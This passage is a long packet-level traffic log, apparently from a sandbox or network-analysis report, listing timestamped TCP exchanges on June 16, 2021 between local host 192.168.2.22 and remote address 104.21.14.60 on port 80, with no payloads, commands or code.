Jun 16, 2021 12:05:15.236546993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.236581087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.236658096 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.237118006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.237131119 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.241339922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.241381884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.241470098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.242930889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.242985964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243022919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243788958 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243837118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243874073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243921995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.243931055 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.244235039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.244277954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.244318962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.244349957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.244359970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.245583057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.245632887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.245676041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.245714903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.245723963 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.246613026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.246654987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.246656895 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.246691942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.246740103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.247854948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.247895956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.247905970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.247950077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.247988939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.248174906 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.250953913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251004934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251043081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251076937 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.251082897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251210928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251250029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.251281977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.251378059 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.252648115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252717018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252770901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252839088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252885103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252918959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.252918959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.254323959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.254462004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.254506111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.255500078 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.255942106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.255978107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.256009102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.256063938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.258074045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.258110046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.258141041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.258171082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.258200884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.258203030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.258239031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260303974 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.260648966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260699987 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260740042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260775089 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.260782003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260828972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.260874033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261241913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261307001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261356115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261384964 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.261404991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261451006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.261499882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.262672901 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.265054941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265116930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265171051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265221119 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265274048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265326023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265392065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265434980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.265733957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265791893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265849113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265892982 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.265903950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.265957117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266010046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266069889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266086102 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.266815901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266871929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266923904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.266999006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.267061949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.267137051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.267178059 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.267303944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.267998934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.268033981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.268054008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.268106937 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.268110991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.268162012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.268193960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.268198967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.268232107 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.268665075 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.270385027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.270437956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.270473957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.270636082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.271570921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271632910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271684885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271713972 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.271727085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271780968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.271868944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271908998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.271955013 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.281723976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281770945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281810045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281827927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.281847954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281887054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281934023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.281958103 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.281975031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282018900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282058954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282098055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282124043 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.282145977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282190084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282227039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282264948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282298088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.282574892 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.282921076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282953024 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.282963037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.282988071 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.283001900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.283050060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.283092022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.283128023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.283162117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.283194065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.283489943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.284392118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.285603046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.367274046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367352962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367402077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367441893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367480040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367527962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367571115 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367623091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367620945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.367666960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367719889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367769957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367799044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.367810965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367849112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.367887020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.367908955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368073940 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.368091106 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.368453979 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368510008 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368552923 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368607998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368657112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368701935 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.368710041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368762016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.368822098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.368860006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.369323015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369375944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369420052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369462013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369477987 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.369524002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369580030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369641066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.369661093 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.370116949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.370223045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370269060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370316982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370358944 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.370378971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370433092 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.370435953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370507956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370558023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.370640039 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.371201038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371273041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371335983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371368885 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.371397018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371458054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371519089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371568918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.371612072 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.372086048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372145891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372198105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372262001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372277975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.372308969 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372349024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372381926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.372389078 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372951984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.372996092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373032093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373045921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.373073101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373131990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373164892 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.373187065 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373228073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373260975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.373827934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373872995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373909950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373951912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.373985052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.374001026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374036074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374070883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374100924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.374739885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374797106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374839067 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.374849081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374886990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374916077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.374922991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.374958038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375001907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375240088 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.375643015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375701904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375755072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375792980 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375827074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.375829935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375866890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.375936031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.376449108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376504898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376555920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376602888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376646042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376679897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376677990 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.376715899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.376790047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.377337933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377383947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377418041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377454042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377505064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377543926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.377563000 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377605915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.377639055 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.378257990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378335953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.378350019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378387928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378431082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378468990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378504992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378515005 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.378544092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.378595114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.378879070 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.379164934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379203081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379203081 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.379239082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379273891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379307985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379365921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379420996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.379455090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.380043030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380084038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380119085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380152941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380184889 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.380188942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380223989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380268097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.380336046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.380959988 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381005049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381032944 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.381042957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381076097 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.381078959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381110907 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.381114960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381150961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381184101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381851912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381887913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.381899118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381939888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.381974936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.382004976 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:15.382011890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:15.382044077 CEST	49168	80	192.168.2.22	104.21.14.60
